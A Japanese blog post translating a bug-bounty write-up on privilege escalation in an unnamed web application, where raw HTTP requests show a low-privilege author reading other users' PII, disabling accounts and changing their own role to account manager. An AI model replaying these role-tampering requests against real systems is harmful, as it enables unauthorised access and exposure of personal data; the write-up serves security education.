Shikata Ga Nai

Private? There is no such things.

Broken access control + misconfiguration = Beautiful privilege escalationを訳してみた

Hello there, ('ω')ノ

 

壊れたアクセス制御 + 構成ミス = 美しい権限昇格を。

 

脆弱性:

 壊れたアクセス制御

 権限昇格

 

記事:

 https://systemweakness.com/broken-access-control-misconfiguration-beautiful-privilege-escalation-e4fdfd018efa

 

今回は、権限昇格の脆弱性について。

 

このサイトには作成者/アカウント所有者の 2 つの役割があり。

アカウント所有者ユーザは管理者であり、完全なアカウント ユーザ

およびその他の機能にアクセスできて。


作成者の役割は組織内で一部のもののみを作成できますが、

ユーザ情報、UUID、その他の組織情報/PII などにはアクセスできず。

 

ユーザの役割

 

壊れたアクセス制御を見つけるためにほとんどのエンドポイントを試しましたが、

ほとんどのエンドポイントは 403 で禁止されていて。

ユーザ情報/PII の読み取りを許可したエンドポイントは 1 つだけで。

 

このエンドポイントにより、権限のないユーザが組織情報/PII に

アクセスできるようになって。

 

GET /v1/account/customer/users?includeDetails=true HTTP/1.1

Host: dontlookhere Cookie: FewRoleUserCookies

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://dontlookhere

Dnt: 1

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Te: trailers Connection: close

 

壊れたアクセス制御

 

上記のエンドポイントでアクセス制御が壊れているため、電子メール、

電話番号、UUID、住所などの組織ユーザの情報にアクセスできて。

上記は脆弱性ですが、それでも権限昇格が必要で。

 

また、ほとんどの関数はリターンが禁止されており、ユーザの追加、

ユーザの削除、その他の書き込み関数はリターン 403 を返し。

少数のユーザ役割アカウントで 1 つの関数のみが実行され、200 が返されて。

そこでこのリクエストを試してみて。

 

PUT /v1/myaccountapi/account/customers/users/UUID-bd796c52dca7/status HTTP/1.1

Host: dontlookhere

Cookie: FewUserCookies

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0

Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://dontlookhere

Content-Type: application/json;charset=utf-8

X-Csrf-Token: X-Xsrf-Token:

Content-Length: 69

Origin: https://dontlookhere

Dnt: 1

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin

Te: trailers

Connection: close

 

{“status”:”DISABLED”,”userId”:”UUID–886f-bd796c52dca7"}

 

上記のリクエストでは、403 なしでユーザのステータスを

非アクティブ化に変更でき、ユーザは非アクティブ化ステータスに変更され、

再アクティブ化できることがわかり。


しかし、ここで 2 番目に、役割変更機能を使用して自分の役割を作成者から

アカウント マネージャにアップグレードすることができて。

 

    PUT /v1/myaccountapi/billing/customers/users/UUID-553486df4683/roles HTTP/2
    Host: dontlookhere
    Cookie: FewUserCookies
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://dontlookhere
    Content-Type: application/json;charset=utf-8
    X-Csrf-Token:
    Content-Length: 3
    Origin: https://dontlookhere
    Dnt: 1
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Te: trailers

    [1]

 

ロール [2] は作成者、ロール [1] はアカウント マネージャで。

そこで、Cookieを作成者ロールアカウントのCookieに置き換え、

UUIDを同じ作成者ロールアカウントUUIDに変更して。

上記の壊れたアクセス制御から取得し、取得できたので他のユーザのロールを

編集することもできて。

そこにUUIDがありリクエストは正常に実行されて。

 

 

少数のユーザによって実行されたリクエストとは何か。

アカウントの役割がアカウント マネージャに変更されて、

自分が組織の管理者になって。

 

アカウントがアカウントマネージャーに変更され

 

Best regards, (^^ゞ